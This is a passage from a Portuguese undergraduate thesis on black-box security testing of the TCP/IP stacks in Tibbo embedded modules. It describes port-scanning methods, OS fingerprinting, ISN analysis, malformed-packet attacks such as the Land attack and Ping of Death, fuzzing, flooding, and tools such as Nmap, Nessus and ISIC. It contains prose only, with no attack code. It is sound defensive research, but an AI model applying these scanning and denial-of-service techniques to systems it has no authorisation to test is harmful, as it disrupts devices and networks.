sume o mesmo comportamento do modo cliente. Quando o Tibbo detecta que
alguém está tentando se conectar a ele, ele encerra a conexão anterior e imediata-
mente assume o comportamento do modo servidor. Se esta conexão for encerrada,
o módulo novamente passa a se comportar como no modo cliente.
Para utilizar os módulos, o desenvolvedor precisa se preocupar em configurar dois

parâmetros no conversor. O primeiro é o socket de comunicação TCP ou UDP, onde ele
irá definir o endereço IP do módulo e a porta pela qual ele deseja comunicar-se, além
do modo de funcionamento do módulo, cliente, servidor e cliente ou servidor. O segundo
parâmetro é a porta serial, onde o desenvolvedor irá setar o baudrate, bits de paridade
e controle de fluxo por RTS/CTS. Para fazer estas configurações no módulo, a Tibbo
disponibiliza o software DS Manager (TIBBO, 2012g), que provê uma interface gráfica
para o usuário configurar o módulo embarcado.
23
3 Análise de Segurança de Implementações

TCP/IP
Considerando que os conversores serial-Ethernet e microcontroladores Tibbo são dis-
positivos disponíveis comercialmente e que não se tem acesso ao seu código fonte, para
realizar a análise de segurança pretendida neste trabalho de conclusão de curso foi neces-
sário conduzir um estudo experimental, tratando esses dispositivos como “caixas pretas”.
A fundamentação teórica desse tipo de estudo é a técnica de injeção de faltas, que é in-
troduzida na seção 3.1. A seção 3.2 apresenta um método proposto para a avaliação da
segurança de implementações da pilha TCP/IP, e as seções 3.3 a 3.5 detalham as etapas
desse método. Por fim, a seção 3.6 discute as ferramentas usadas na fase de experimen-
tação do trabalho.
3.1 Conceitos Básicos de Injeção de Faltas
A injeção de faltas é uma técnica experimental que consiste em provocar faltas delibe-
radas em um sistema sob teste e observar suas respostas, analisando se as faltas injetadas
fazem com que o funcionamento do sistema desvie de sua especificação (ou seja, se o sis-
tema falha) (ARLAT et al., 1990), (CLARK; PRADHAN, 1995), (HSUEH et al., 1997).
O propósito da injeção de faltas é avaliar as propriedades de confiança no funcionamento
(dependability) (AVIZIENIS et al., 2004) do sistema.
A injeção de faltas foi proposta originalmente para a validação de sistemas tolerantes a

faltas, tanto de software como de hardware; mais tarde, ela veio a ser usada também para
avaliar as propriedades de segurança (confidencialidade, integridade e disponibilidade) de
sistemas (GHOSH et al., 1998), (ANTUNES et al., 2004).
Embora a confiança no funcionamento tenha uma intersecção significativa com a se-

gurança (AVIZIENIS et al., 2004), o uso de injeção de faltas estava inicialmente focado
em propriedades de confiabilidade e disponibilidade, e não em integridade ou confidencia-
lidade. Quando a injeção de faltas é aplicada no domínio da segurança, ela também pode
3.2 Metodologia Para Teste de Robustez da Pilha TCP/IP 24
ser chamada de injeção de ataques (ANTUNES et al., 2004).
A injeção de faltas é uma técnica que permite testar sistemas após a fase de desen-
volvimento, sejam sistemas em sua versão final ou protótipos (ARLAT et al., 1990). O
uso da injeção de faltas permite complementar outras técnicas, como modelagem ana-
lítica de confiabilidade, para obter uma validação mais completa do sistema (CLARK;
PRADHAN, 1995). A análise dos resultados observados em um estudo de injeção de
faltas permite compreender o comportamento do sistema em situações adversas e avaliar
a eficácia de seus mecanismos de proteção e recuperação, além de ajudar a identificar
eventuais deficiências que permitam que o sistema falhe (o que é primordial para que se
possa corrigi-las) (CLARK; PRADHAN, 1995), (HSUEH et al., 1997).
No contexto deste trabalho, foram injetadas faltas nos dispositivos Tibbo através da
rede, enviando tráfego malicioso com o propósito de avaliar a robustez e a segurança de
sua pilha TCP/IP.
3.2 Metodologia Para Teste de Robustez da Pilha

TCP/IP
Para conduzir um estudo de injeção de faltas, é necessário adotar uma metodologia

que maximize a probabilidade de encontrar falhas no sistema (ARLAT et al., 1990). No
contexto de segurança, analistas de segurança da Cisco Systems propuseram uma meto-
dologia para testes de robustez de implementações da pilha TCP/IP (POTHAMSETTY;
BALINSKY, 2003). A metodologia engloba as seguintes etapas:
1. Reconhecimento, usando técnicas para identificar remotamente o sistema operacio-

nal e descobrir quais serviços de rede estão ativos no sistema alvo;
2. Análise do grau de aleatoriedade dos números iniciais de sequência do TCP, que visa
avaliar a suscetibilidade a ataques de sequestro de conexões TCP (TCP hijacking)
(GONT, 2012);
3. Injeção de pacotes malformados, que visam encontrar bugs na implementação da

pilha TCP/IP que possam ser usados para comprometer a segurança do alvo.
3.3 Reconhecimento 25
4. Ataques de negação de serviço, que visam avaliar a possibilidade de exaustão de
recursos computacionais do alvo, como processador, memória ou largura de banda
de rede;
Nas seções seguintes, os passos 1, 2, 3 e 4 serão discutidos em maior nível de detalha-

mento.
3.3 Reconhecimento
Segundo (POTHAMSETTY; BALINSKY, 2003), as técnicas de reconhecimento têm

por objetivo coletar informações sobre o dispositivo atacado. Visto que elas podem for-
necer informações que ajudam o atacante a escolher quais técnicas de ataque têm maior
chance de sucesso, normalmente são as primeiras a ser executadas.
Neste trabalho, as técnicas de reconhecimento utilizadas serão as de identificação do

sistema operacional e a de varredura da pilha TCP/IP, as quais são descritas nas próximas
seções.
3.3.1 Identificação de Sistema Operacional
Normalmente esta é a primeira ação executada por um atacante, com o objetivo

de coletar informações sobre um determinado alvo para determinar o ponto de partida
dos ataques (POTHAMSETTY; BALINSKY, 2003). Esta seção destaca o processo de
reconhecimento do sistema operacional do dispositivo atacado.
Esta atividade não é de um ataque propriamente dito, porém é útil para descobrir
vulnerabilidades que poderão ser exploradas. Mas por que detectar o sistema operacional
do dispositivo? Segundo (LYON, 2009a), algumas das razões podem ser:
Determinar Vulnerabilidades: Algumas vulnerabilidades de certos sistemas operacio-

nais já são conhecidas e quando se sabe quais são estas vulnerabilidades, um atacante
pode começar por este caminho, enquanto um administrador de rede que conhece as
vulnerabilidades de seus dispositivos pode tomar iniciativas para se proteger destes
ataques.
Adequação de Exploits: Um exploit é um programa que explora vulnerabilidades es-
pecíficas de um sistema operacional ou de um protocolo de comunicação, portanto
necessitam estar de acordo com as características dos seus alvos para que sejam
efetivos. Por exemplo, não faz sentido um exploit da plataforma Windows ser exe-
cutado em um servidor FreeBSD. É fundamental para o atacante conhecer qual
sistema operacional está atacando para que ele não cometa este tipo de erro.
Detecção de Dispositivos Não Autorizados e Perigosos: Mesmo em uma rede

bem estruturada, usuários podem acabar instalando dispositivos vulneráveis a ata-
ques, o que abre brechas de segurança na rede. A detecção do sistema operacional
de dispositivos em uma rede pode ajudar a localizar estes dispositivos e avaliar os
riscos que eles trazem à rede.
Engenharia Social: O conhecimento detalhado sobre os equipamentos que uma rede

possui pode conceder acesso privilegiado ao atacante, através de engenharia social.
Por exemplo, o atacante pode comunicar a um administrador que encontrou uma
brecha de segurança e solicitar que ele instale um patch de correção, o qual na re-
alidade pode ser um vírus, um cavalo de tróia ou mesmo um keylogger criado pelo
atacante. Caso o atacante seja bem convincente, detalhando aspectos do equipa-
mento que só alguém da equipe de suporte deveria conhecer, o administrador pode
acabar instalando o arquivo solicitado, abrindo uma brecha na segurança da rede.
Softwares que detectam o sistema operacional de dispositivos têm uma base de as-
sinaturas com características específicas de diversos sistemas operacionais diferentes, em
especial as particularidades de como a pilha TCP/IP implementa aspectos deixados em
aberto ou ambíguos nas especificações dos protocolos. Por exemplo, o Nmap (LYON,
2009a), uma ferramenta conhecida que oferece esse tipo de detecção, envia vários pacotes
TCP e UDP para o dispositivo e então analisa as respostas que recebe do mesmo. A partir
destas respostas o Nmap consulta sua base de assinaturas e então decide qual provavel-
mente é o sistema operacional do dispositivo analisado. Por depender destas informações,
este tipo de software contém apenas informações sobre os sistemas operacionais mais
conhecidos, sendo difícil manter uma base de dados atualizada com todos os sistemas
operacionais existentes.
Neste trabalho, o sistema operacional dos módulos embarcados já é conhecido, chama-

se Tibbo OS (TIBBO, 2012h), e portanto não é necessário utilizar métodos para fazer
esta descoberta. Além disso, por tratar-se de um sistema embarcado, as aplicações para
este dispositivo são muito específicas, o que faz com que a probabilidade da detecção
correta do sistema operacional seja muito baixa. Ainda assim, é interessante saber qual
é o comportamento dos softwares de detecção utilizados diante dos módulos embarcados
da Tibbo por alguns motivos, a saber:
• A base de assinaturas dos softwares de detecção, além de ser atualizada pela própria
equipe de desenvolvimento, normalmente também é atualizada por informações que
os usuários enviam, portanto, podemos concluir que caso o sistema Tibbo OS seja
identificado, ao menos uma pessoa o analisou. Também é possível que esta pessoa
tenha procurado por alguma vulnerabilidade, encontrado e tenha feito algum tipo
de registro sobre ela.
• Conforme citado anteriormente, softwares como o Nmap tentam descobrir o sistema

operacional do sistema atacado através da assinatura das respostas TCP e UDP.
Dado este fato, caso o sistema dos módulos da Tibbo seja detectado erroneamente,
existe a possibilidade de que a pilha TCP/IP do dispositivo tenha sido feita com base
na pilha TCP/IP deste sistema operacional, e apresente as mesmas vulnerabilidades
que este apresenta.
Devido a estas possibilidades, é interessante que seja feita uma análise de como um
módulo embarcado com o sistema Tibbo OS é reconhecido por softwares identificadores
de sistemas operacionais.
3.3.2 Varredura da pilha TCP/IP
Existem serviços de rede que vêm instalados por padrão em vários dispositivos e que
são comuns à maioria destes, por exemplo, o serviço de Telnet tem por padrão estar
disponível na porta TCP 23. A varredura de portas é uma técnica que tem por objetivo
detectar serviços disponíveis em um determinado alvo. Ela consiste em enviar tráfego
para diferentes portas TCP/UDP em um host com o intuito de descobrir quais delas
estão sendo usadas por servidores (portas abertas) e quando não estão em uso (portas
fechadas).
Determinar quais serviços estão disponíveis pode ser utilizado para dizer ao atacante
o que atacar. Para isso, ele envia pacotes ao alvo e, de acordo com a resposta recebida,
é possível descobrir se um serviço está disponível (GATES et al., 2006). Esta seção tem
por objetivo descrever quais são as principais técnicas de varredura de portas TCP/IP.
3.3.2.1 Varredura TCP
O TCP é um protocolo da camada de transporte, o qual provê transmissão confiável

de dados com controle de fluxo dos mesmos (KUROSE; ROSS, 2006). Uma de suas
características é que ele necessita de um processo chamado de “negociação em três vias”,
do inglês three-way-handshake, para que seja estabelecida uma conexão entre dois hosts,
conforme (ARKIN, 1999) descreve:
1. O cliente envia para uma porta específica do servidor um segmento SYN, que contém
o valor do seu ISN (número inicial de sequência). Resumidamente, o ISN é um
número gerado aleatoriamente na criação de um socket TCP e que é responsável,
entre outras coisas, por ordenar os pacotes TCP (GONT, 2012).
2. Caso a porta do servidor esteja aberta, ele envia um segmento SYN-ACK, que
contém o valor do ISN gerado pelo próprio servidor e o ACK, o valor do SYN
enviado pelo cliente, somado de 1. Caso a porta esteja fechada, o servidor responde
com um pacote RST.
3. Por fim, caso a porta esteja aberta, o cliente envia ao servidor um segmento ACK,
o qual será o valor do ISN do servidor somado de 1.
O processo de handshake em uma porta aberta é mostrado pela figura 3.1, enquanto
o processo de handshake em uma porta fechada é mostrado pela figura 3.2.
Figura 3.1: Handshaking da conexão TCP em uma porta aberta.
Fonte: Adaptado de (MESSER, 2008).

Figura 3.2: Handshaking da conexão TCP em uma porta fechada.
As sequências de mensagens do protocolo TCP são usadas como base para a descoberta
de quais portas estão em uso por um serviço (abertas) e quais não estão sendo utilizadas
(fechadas).
Varredura SYN: Neste modo de varredura o atacante envia um pacote SYN para o alvo,
como se ele estivesse querendo realmente estabelecer uma conexão com ela. Caso a
porta com a qual o atacante tentou conectar-se esteja aberta, a vítima responderá
com um SYN-ACK e então o atacante responderá automaticamente com um pacote
RST, fechando a conexão. Caso a vítima responda com um pacote RST, isso indica
que esta porta está fechada (ARKIN, 1999).
Visto que para este trabalho temos acesso direto aos dispositivos, um varredura SYN
é o suficiente para descobrir quais portas estão abertas e quais estão fechadas. No entanto
em outras situações, dispositivos podem estar protegidos por firewalls que podem filtrar
este tipo de varredura. Para casos assim, existem outras técnicas que exploram outras
vulnerabilidades do TCP, descritas por (ARKIN, 1999), a saber, varreduras ACK, FIN,
XMAS e NULL.
Nestas varreduras, o funcionamento é basicamente o mesmo. Primeiro um pacote é

enviado para o alvo. O comportamento normal de uma porta fechada é o de enviar um
segmento RST informando o erro ao cliente; porém, como pode haver erros na imple-
mentação da pilha TCP/IP por alguns fabricantes, qualquer tipo de resposta deve ser
identificada como um sinal de que a porta está fechada. Caso não haja nenhum tipo de
resposta, este é um sinal de que provavelmente a porta está aberta. Por basear sua decisão
na falta de respostas, estes métodos estão sujeitos a falsos positivos, visto que pode haver
um firewall bloqueando estes pacotes.
A diferença entre os modos de varredura é que na varredura ACK, o pacote enviado
é um pacote SYN-ACK; na varredura FIN, um segmento FIN é enviado, algo que não
ocorre em um tráfego normal; na varredura XMAS um segmento com as flags FIN, PUSH
e URG é enviado, situação que não ocorre em um tráfego normal; e em uma varredura
NULL, um segmento com nenhuma flag ativada é enviado, algo que também não ocorre
em um tráfego normal.
3.3.2.2 Varredura UDP
Diferente do protocolo TCP, no protocolo UDP não é estabelecida uma conexão entre
cliente e servidor antes de começar a transferência dos dados, nem há uma verificação no
envio destes. Quando algo necessita ser transmitido, o cliente simplesmente envia o dado
para uma porta específica do servidor, sem garantia de que os dados foram recebidos
corretamente. Por este motivo, as mesmas características exploradas pelos varreduras
TCP não podem ser exploradas no UDP.
Devido a este fator, outra abordagem deve ser utilizada para realizar a varredura
de portas UDP. Neste trabalho é utilizada a proposta sugerida por (MESSER, 2008):
explorar o protocolo ICMP.
Resumidamente, o ICMP é um protocolo utilizado para diagnóstico, controle e para

fornecer informações sobre problemas na rede. Por exemplo, é utilizado quando um da-
tagrama não atinge seu destino, o roteador não tem espaço em buffer suficiente para
encaminhar um datagrama ou quando a porta de um determinado host não está acessível
(POSTEL, 1981a).
A característica a ser explorada do ICMP é a que foi citada por último. Por padrão,
quando um pacote UDP é enviado para uma porta de um host que está fechada, o emissor
recebe uma resposta ICMP do tipo port unreachable. Este comportamento é apresentado
pela figura 3.3.
Caso uma porta UDP esteja aberta, poderão acontecer duas coisas: a primeira é que
não haverá qualquer resposta para o emissor, apresentada pela figura 3.4, e a segunda
é que a aplicação que recebe este pacote pode responder ao emissor com algum tipo de
dado, apresentada pela figura 3.5. Vale a pena lembrar que esta resposta não provém do
protocolo UDP, mas sim porque a aplicação foi programada de modo que respondesse a
pacotes UDP.
Figura 3.3: Varredura UDP em uma porta fechada.
Figura 3.4: Varredura UDP em uma porta aberta que não responde.
Figura 3.5: Varredura UDP em uma porta aberta que responde
Por basear-se na ausência de respostas, a varredura UDP não é totalmente confiável.

A vítima pode não gerar uma resposta port unreachable por um erro de implementação
do protocolo, firewalls podem bloquear pacotes UDP vindas do atacante ou bloquear
respostas ICMP port unreachable enviadas pela vítima. Nestes casos, o atacante não
receberá resposta alguma e interpretará a porta contactada como aberta, sendo este um
falso positivo. Contudo para este trabalho o acesso aos dispositivos é direto, então falsos
positivos causados por nós intermediários não ocorreram.
3.4 Análise da Aleatoriedade do ISN 32
3.4 Análise da Aleatoriedade do ISN
Um atacante pode interceptar dados de uma conexão TCP legítima entre dois dispo-
sitivos que comunicam-se em rede ou injetar dados nesta conexão TCP, adivinhando o
número inicial de sequência (ISN) de um dos dispositivos. Quanto mais fraco o grau de
aleatoriedade de geração do ISN, mais fácil este ataque é executado (POTHAMSETTY;
BALINSKY, 2003).
Conforme proposto por (POTHAMSETTY; BALINSKY, 2003), foram realizados

testes que servirão para avaliar o grau de aleatoriedade de ISN do módulo embarcado
EM1206.
3.5 Pacotes Malformados
Os protocolos TCP e UDP da camada de transporte e o protocolo IP da camada de

rede, todos implementados nos módulos embarcados da Tibbo, possuem regras específicas
com o objetivo de encapsular e enviar dados na forma de pacotes pela rede. Quando estas
regras são violadas, os pacotes são construídos de maneira incorreta.
Visto que estes pacotes estão errados ou malformados, não faz sentido que eles sejam
processados pelo receptor, devendo ser descartados o mais breve possível, sem que ocupem
muito dos recursos que são destinados aos pacotes corretos. Porém, nem sempre é isso
o que acontece. Algumas implementações podem acabar não sabendo como tratar estes
pacotes errados, causando travamentos ou outras reações indesejadas no sistema.
Esta seção tem por objetivo destacar quais características dos protocolos IP, TCP
e UDP podem gerar este tipo de vulnerabilidade e que foram avaliadas nos módulos da
Tibbo.
3.5.1 Cabeçalho IP
Um pacote IP é formado de duas partes: uma são os dados a ser enviados, enquanto
a outra é seu cabeçalho, que são informações que serão utilizadas para garantir que um
pacote seja transmitido de um host para outro. Além disso, o destinatário poderá utilizar
estas informações para que os dados possam ser processados de forma correta. O formato
3.5 Pacotes Malformados 33
deste cabeçalho é apresentado pela figura 3.6.
Figura 3.6: Cabeçalho de um pacote IP.
Fonte: Adaptado de (CHAVES, 2002).
Alguns destes campos, caso modificados, podem fazer com que o pacote não possa
ser entregue ao seu destino, enquanto outros podem ser modificados com o objetivo de
confundir o receptor, sem prejudicar a transmissão. Nesta seção, descreveremos as opções
do cabeçalho que se encaixam neste segundo caso, conforme (BYKOVA; OSTERMANN,
2002).
Tamanho: O tamanho do cabeçalho de um pacote IP deve ser de no mínimo 20 bytes,

enquanto o tamanho total do pacote deve ser maior do que o tamanho do cabeçalho.
Caso a informação de algum destes dois campos estiver incorreta, o pacote deve ser
imediatamente descartado pelo receptor.
Checksum: O checksum serve para detectar erros na transmissão de pacotes, sendo que
um pacote com o valor do checksum incorreto deve ser imediatamente descartado.
Quando o descarte não ocorre deste modo, recursos do dispositivo, como memória e
processamento, são consumidos desnecessariamente, o que pode causar o travamento
do sistema.
Endereço IP: Os endereços de origem e de destino de um pacote podem ser alterados,

através de uma técnica conhecida como spoofing, sendo que detectar este tipo de
modificação nem sempre é uma tarefa fácil. Apesar disso, detectar quando um
endereço definido nestes campos é inválido, é uma tarefa relativamente simples que
todo dispositivo que implementa o protocolo IP deveria tratar.
Como exemplo de ataque utilizando endereços inválidos, temos o ataque conhecido

como Land Attack. Descrito pela primeira vez por (M3LT, 1997), trata-se de um
ataque onde é enviado para a vítima um pacote TCP com a flag SYN ativada e com o
IP alterado para que o IP de origem seja o mesmo IP da vítima. Segundo o relato, foi
testado primeiramente no sistema operacional Windows 95 e causava o travamento
do mesmo, porém não era limitado a ele. Ainda o mesmo autor apresentou uma
lista de sistemas operacionais que, na época eram afetados pelo ataque e o código
do ataque em si.
Flag: Este campo do cabeçalho IP possui 3 bits. O bit 0 é reservado para uso futuro que,
por padrão, deve estar sempre com o valor zero. O bit 1 diz se um pacote pode ser
fragmentado ou não. Por fim, o bit 2 indica se este pacote é o fragmento final de
um pacote fragmentado, ou não.
Tamanho do Pacote: De acordo com (POSTEL, 1981b), um datagrama IP não deve

ser maior do que 65536 bytes, porém utilizando de alguns artifícios é possível criar
datagramas que excedam este limite. Alguns sistemas no passado não eram capazes
de processar estes datagramas, causando o travamento do mesmo. Este é o ataque
Ping da Morte (KENNEY, 1996).
Caso seja necessário, um pacote IP pode ser fragmentado para que seu envio seja
facilitado, e então ele é remontado quando atinge seu destino. Segundo (KENNEY,
1996), o último pacote pode ser alterado para que seu tamanho exceda o tama-
nho tradicional. Visto que os pacotes IP são processados somente após todos os
fragmentos chegarem, o sistema pode sofrer um overflow no seu buffer.
Apesar de ser descoberto com o ping, pacotes TCP e UDP também podem ser ex-
plorados para que causem a mesma falha. O fato mais preocupante é que o atacante
necessita apenas saber o IP da vítima para que funcione, inclusive (KENNEY, 1996)
realizou este teste com sucesso onde o atacante estava em Berkeley, Califórnia e a
vítima em Londres, Inglaterra.
3.5.2 Cabeçalho TCP
Figura 3.7: Cabeçalho de um pacote TCP.
Esta seção descreve quais características do cabeçalho TCP foram exploradas nos
testes realizados com os dispositivos Tibbo, seguindo a linha de raciocínio do artigo (BY-
KOVA; OSTERMANN, 2002).
Número das Portas: De acordo com (POSTEL, 1981c), a porta de origem ou destino
de um pacote TCP não pode ser zero. Pacotes com esta característica devem ser
imediatamente descartados.
Flags: Nem todas as combinações de flags TCP são aceitas segundo (POSTEL, 1981c).
Um pacote não pode conter as flags URG e PUSH ligadas se ele não contiver dados.
As combinações de flags SYN e URG ou SYN e PUSH também não são aceitas.
Estas combinações inválidas formam a varredura XMAS, citado na seção 3.1.2.1.
Bits Reservados: A especificação original do TCP, dada por (POSTEL, 1981c), reserva
seis bits para uso futuro, portanto por padrão devem estar setados como zero. Ape-
sar de existirem estudos para o uso destes bits, nenhum deles foi implementado e
por isso, configurar estes bits com valores arbitrários pode prejudicar certas imple-
mentações TCP que não sabem lidar com este tipo de caso.
Checksum: Sofre do mesmo problema dos checksums de pacotes IP, conforme explicado
na seção anterior.
3.5.3 Cabeçalho UDP
Figura 3.8: Cabeçalho de um datagrama UDP.
Esta seção indica quais características de um cabeçalho UDP podem ser exploradas
por ataques realizados com pacotes malformados.
Checksum: Sofre do mesmo problema dos checksums de pacotes IP e TCP, conforme

explicado na seção anterior.
Número das Portas: Assim como os pacotes TCP não podem ter como porta de origem
ou destino a porta zero, segundo (POSTEL, 1980) um pacote UDP também não
pode.
3.5.4 Fuzzing
Fuzzing é uma técnica de injeção de falhas que tem por objetivo expor falhas em
aplicações inserindo nelas entradas mistas de dados válidos e inválidos (BANKS et al.,
2006).
Fuzzing requer três operações básicas: gerar entradas aleatórias ou inesperadas que
poderiam levar a aplicação a um estado inválido, injetar essas entradas na aplicação e,
por fim, observar se esta entrada causou algum tipo de falha à aplicação (BANKS et al.,
2006). Este fluxo é apresentado pela figura 3.9.
No geral há duas estratégias para criação de entradas faltosas: geração e mutação

(BANKS et al., 2006). Geração usa uma especificação formal da entrada de dados aceita
pelo sistema testado para gerar um conjunto de valores de entradas válidas. Estes valores
são modificados para que entradas inválidas, ou semi-válidas sejam obtidas. Entradas
semi-válidas são entradas que são válidas o suficiente para que não sejam descartadas
imediatamente pela aplicação, porém são inválidas o suficiente para que causem falhas ao
ser consumidas pela aplicação.
Figura 3.9: Fluxograma básico das iterações de um fuzzer.
Fonte: Adaptado de (OEHLERT, 2005).
Mutação usa uma série de entradas válidas, que, por exemplo, podem ser extraídas
do uso normal da aplicação e então estas entradas são modificadas para que se obtenha
valores de entrada inválidos ou semi-inválidos (BANKS et al., 2006).
Na maioria dos sistemas, as entradas são dadas por arquivos, interface do usuário
e registros, porém qualquer parte do sistema que recebe dados é um candidato a falhar
ao receber dados inválidos. Para este trabalho o foco foi em aplicar técnicas fuzzing na
interface Ethernet de dois modos: fuzzing dos protocolos de base e de fuzzing de HTTP.
O motivo da escolha do protocolo HTTP para este ataque, é que ele é o único protocolo
da camada de aplicação que vem instalado de fábrica nos módulos embarcados Tibbo.
3.5.4.1 Fuzzing de Protocolos de Base
Cada protocolo tem um conjunto de parâmetros e uma estrutura que podem ser
testados, o mesmo é válido para os protocolos de rede de quaisquer dispositivos. Os
protocolos de rede são especificados através das Request for Comments, ou RFCs, que são
documentos considerados padrão para este tipo de protocolo.
Mesmo com estas especificações disponíveis na Internet, desenvolvedores podem co-

meter erros durante a codificação da pilha TCP/IP, e é nestas possíveis falhas que os
fuzzers de protocolos de base são focados. Um fuzzer desta categoria testa a robustez
da implementação do mesmo explorando um grande conjunto de possíveis entradas invá-
lidas ou semi-válidas, para descobrir qual delas produz comportamentos indesejados no
dispositivo (GU et al., 2011).
Conforme foi apresentado nas seções 3.5.1, 3.5.2 e 3.5.3, os protocolos IP, TCP e UDP
possuem uma série de campos no seu cabeçalho que devem atender a certas especificações.
Casos os pacotes de rede que o dispositivo receba não atendam a estas especificações, os
mesmos devem ser descartados sem que isso cause uma falha crítica no sistema. Neste
trabalho foi utilizado o conjunto de ferramentas ISIC, o qual é apresentado na seção 3.7.4
para descobrir qual o comportamento do EM1206 diante deste tipo de teste.
3.5.4.2 HTTP Fuzzing
Os módulos EM500 e EM1206 possuem uma página HTTP instalada por padrão para
a parametrização do conversor serial-Ethernet. Além disso, quando em modo de microcon-
troladores programáveis, todos os módulos da Tibbo citados neste trabalho possuem um
pequeno servidor WEB interno. Por estes motivos, foi testado o comportamento destes
dispositivos diante do fuzzing de HTTP através do software Bruteforce Exploit Detector
(BED), o qual é apresentado na seção 3.7.
Há dois tipos de mensagens HTTP, de requisição e de resposta. Visto que a técnica

de HTTP Fuzzing visa o envio de dados para um servidor WEB, para este trabalho são
utilizadas apenas requisições HTTP (FAUST, 2004).
As requisições HTTP são formadas por uma sequência de linhas de texto usando um
conjunto de caracteres ASCII. A primeira linha é chamada de linha de requisição e contém
três campos (KUROSE; ROSS, 2006):
3.6 Inundação de Pacotes 39
Método: O método indica qual o modo de envio dos dados, sendo que os métodos mais
utilizados são GET, POST e HEAD. Através do GET é solicitado que o servidor
envie ao cliente o objeto descrito no campo URL, o qual é descrito no próximo
item; o POST é frequentemente usado no envio de dados para o servidor quando
um usuário preenche algum formulário; e o HEAD é semelhante ao GET, onde o
servidor responde com uma mensagem HTTP, sem enviar o objeto solicitado.
URL: Neste campo é informado o objeto requisitado pelo cliente.
Versão do Protocolo: Indica qual versão do protocolo HTTP está sendo utilizada nesta
requisição, sendo a versões 1.0 e 1.1 as mais utilizadas atualmente (KUROSE; ROSS,
2006).
As linhas seguintes são chamadas de linhas de cabeçalho, as quais não tem um nú-
mero específico, pois dependem dos requisitos da aplicação. Através delas o cliente envia
informações adicionais para o servidor, como por exemplo se a conexão é persistente, qual
navegador o usuário utilizou, qual o idioma que o cliente prefere receber as informações,
entre outros.
O HTTP Fuzzing foca em modificar estes parâmetros com o objetivo de descobrir

vulnerabilidades. Quanto mais opções forem modificadas e testadas, mais detalhado será
o quanto a implementação está de acordo com a sua RFC (FAUST, 2004).
3.6 Inundação de Pacotes
A inundação de pacotes, também conhecida como flood, envolve enviar um grande

fluxo de dados a um dispositivo com o objetivo de consumir recursos como banda de rede,
processamento da CPU e memória, por exemplo (POTHAMSETTY; BALINSKY, 2003).
Neste trabalho foi avaliado o comportamento do módulo EM1206 diante de ataques

flooding utilizando pacotes TCP, UDP, IP e HTTP. Para avaliar os protocolos TCP, UDP
e IP foram enviados diversos pacotes, aleatorizando os parâmetros dos seus respectivos
cabeçalhos através da ferramenta ISIC.
Para o protocolo HTTP os testes foram feitos com pacotes legítmos, através da fer-
ramenta BED descrita na seção 3.7.5. O resultado normal deste teste é que, quando o
3.7 Ferramentas 40
número de pacotes supera os recursos do servidor web, novos pacotes HTTP são ignorados
e o serviço é negado a outros hosts (LU; YU, 2006).
A figura 3.10 apresenta um exemplo de ataque HTTP Flood, onde o cliente envia
várias requisições do tipo GET, com o objetivo de consumir os recursos do servidor que
hospeda a página.
Figura 3.10: Funcionamento de um ataque HTTP flood.
Fonte: Adaptado de (YATAGAI et al., 2007).
Visto que o termo flood é mais utilizado do que sua tradução para o português (inun-
dação de pacotes), deste ponto em diante será utilizado o termo em inglês.
3.7 Ferramentas
Para o desenvolvimento dos testes deste trabalho, certas ferramentas de busca de vul-
nerabilidades e de análise de pacotes de rede foram utilizadas. Este capítulo é responsável
por dar uma breve descrição destes softwares.
3.7.1 Nmap
Nmap, ou Network Mapper (LYON, s.n.t.), é um software open source desenvolvido

por Gordon Lyon, também conhecido como Fyodor, que tem por objetivo fazer varreduras
rápidas em redes TCP/IP. Seus recursos permitem fazer o mapeamento dos hosts em uma
3.7 Ferramentas 41
rede, quais aplicações estes hosts estão rodando, qual o sistema operacional deles, que tipo
de firewalls e filtros existem na rede, entre outras características.
Neste trabalho, é utilizada a versão de linha de comandos do software para fazer a

varredura de portas, entre outras atividades mencionadas no capítulo 4. O Nmap pode
fornecer três respostas para identificar o estado de uma porta: open, closed e filtered.
Open significa que a porta inspecionada está aberta, closed significa que a porta está
fechada e filtered significa que a porta está sendo protegida por algum tipo de firewall,
portanto não é possível que o Nmap determine o estado dela.
Quando é feita a detecção do sistema operacional, o Nmap responde informando o

nome e a versão do mesmo. Para cada busca que o Nmap efetua, ele analisa o compor-
tamento do host, determinando assim a sua assinatura. Ao obter esta informação, ele
consulta sua base de dados procurando uma assinatura semelhante, e então diz ao usuário
qual é o provável sistema operacional do alvo analisado.
3.7.2 Nessus
Nessus é um software open source desenvolvido por Renaud Deraison e atualmente

distribuído pela empresa Tenable Network Security, cuja função é automatizar a busca
por vulnerabilidades de rede em um determinado sistema (ANDERSON, 2003).
O Nessus é composto de diversos plugins, sendo que cada um destes representa uma
vulnerabilidade já conhecida e inserida no banco de dados oficial da ferramenta. Quando
o Nessus inicia seus testes buscando por vulnerabilidades, ele executa cada um dos plugins
selecionados pelo usuário e, ao final dos testes, gera um relatório quantitativo e qualitativo
das vulnerabilidades encontradas (ANDERSON, 2003).
Para este trabalho, o módulo EM1206 da Tibbo foi escaneado pelo Nessus utilizando
todos os plugins disponíveis, para que fosse possível descobrir se ele possui alguma dessas
vulnerabilidades conhecidas pelo software.
3.7.3 Wireshark
Wireshark é uma ferramenta multiplataforma de análise de protocolos de rede. Possui

uma interface gráfica que permite ao usuário capturar todo o tráfego que passa pela rede,
3.7 Ferramentas 42
fornecendo detalhes sobre cada pacote capturado. Foi criada por Gerald Combs em 1998
e hoje está sobre o poder da Wireshark Foundation sob a licença GNU GPL versão 2,
contando com vários desenvolvedores pelo mundo (COMBS, s.n.t.).
Algumas de suas principais funcionalidades são as de inspeção detalhada de protocolos

de rede, captura e análise de pacotes em tempo real e filtro de informações, além de
permitir uma análise de diversas interfaces de rede como, por exemplo, Ethernet, Bluetooth
e Wi-Fi. Outra característica importante é que ele é compatível com diversos formatos de
arquivo, podendo integrar suas funcionalidades com outros softwares de análise de rede
(COMBS, s.n.t.).
Visto que o objetivo deste trabalho é o de explorar vulnerabilidades no módulo

EM1206 Tibbo através do envio de pacotes de rede, foi necessário fazer uma análise
do que estes pacotes são compostos. Para esta tarefa foi utilizado o Wireshark, visto que
ele pode fornecer os dados necessários para esta análise.
3.7.4 IP Stack Integrity Checker
IP Stack Integrity Checker (XIAO; FRANTZEN, s.n.t.) é um conjunto de ferramentas

para análise do comportamento da pilha TCP/IP de sistemas computacionais diante do
envio de pacotes pseudo-aleatórios, ou seja, é um fuzzer TCP/IP.
Suas ferramentas são: ESIC, que gera frames Ethernet; ISIC que gera pacotes IPv4;
ISIC6 que gera pacotes IPv6; TCPSIC que gera pacotes TCP para o protocolo IPv4;
TCPSIC6 que gera pacotes TCP para o protocolo IPv6; UDPSIC que gera datagramas
